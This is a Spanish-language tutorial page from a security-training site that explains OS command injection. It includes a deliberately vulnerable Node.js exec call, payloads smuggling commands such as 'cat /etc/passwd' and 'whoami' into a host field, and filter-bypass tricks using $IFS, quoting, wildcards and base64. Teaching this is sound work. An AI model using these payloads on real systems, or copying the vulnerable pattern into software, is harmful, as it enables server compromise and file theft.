Nuevos labs cada semana — Accede a todos desde 5€/mes

Command Injection

Crítico

OS Command Injection

Definición

Command Injection es una vulnerabilidad que permite a un atacante ejecutar comandos del sistema operativo en el servidor a través de una aplicación vulnerable. Ocurre cuando la aplicación pasa entrada del usuario directamente a funciones de ejecución de comandos del sistema (exec, system, popen, etc.).

Impacto

Ejecución de comandos arbitrarios en el sistema operativoLectura, modificación y eliminación de archivos del servidorEstablecimiento de reverse shells para acceso persistenteCompromiso total del servidorMovimiento lateral y pivoting a otros sistemas internos

Ejemplos

Command Injection en funcionalidad de ping

La aplicación concatena la entrada del usuario con un comando del sistema sin sanitización. Usando operadores de shell como ;, |, &&, o sustitución de comandos $(), el atacante puede ejecutar cualquier comando.

# Código vulnerable (Node.js)
const { exec } = require('child_process');
exec('ping -c 4 ' + req.body.host);

# Petición legítima
POST /api/network/ping
{"host": "8.8.8.8"}

# Payloads de inyección
{"host": "8.8.8.8; cat /etc/passwd"}
{"host": "8.8.8.8 | id"}
{"host": "8.8.8.8 && whoami"}
{"host": "$(cat /etc/passwd)"}

Bypass de filtros de Command Injection

Cuando la aplicación implementa filtros básicos (como bloquear espacios o palabras clave), existen múltiples técnicas de bypass usando variables de entorno, comillas, wildcards o codificación en Base64.

# Si se filtran espacios:
{cat,/etc/passwd}
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd

# Si se filtran palabras clave:
c'a't /etc/passwd
c\at /etc/passwd
/bin/c?t /etc/passwd

# Si se filtran caracteres especiales:
echo${IFS}dGVzdA==|base64${IFS}-d

Practica Command Injection con labs reales

Aplica lo que has aprendido en entornos seguros basados en reportes de bug bounty.

Ver labs de práctica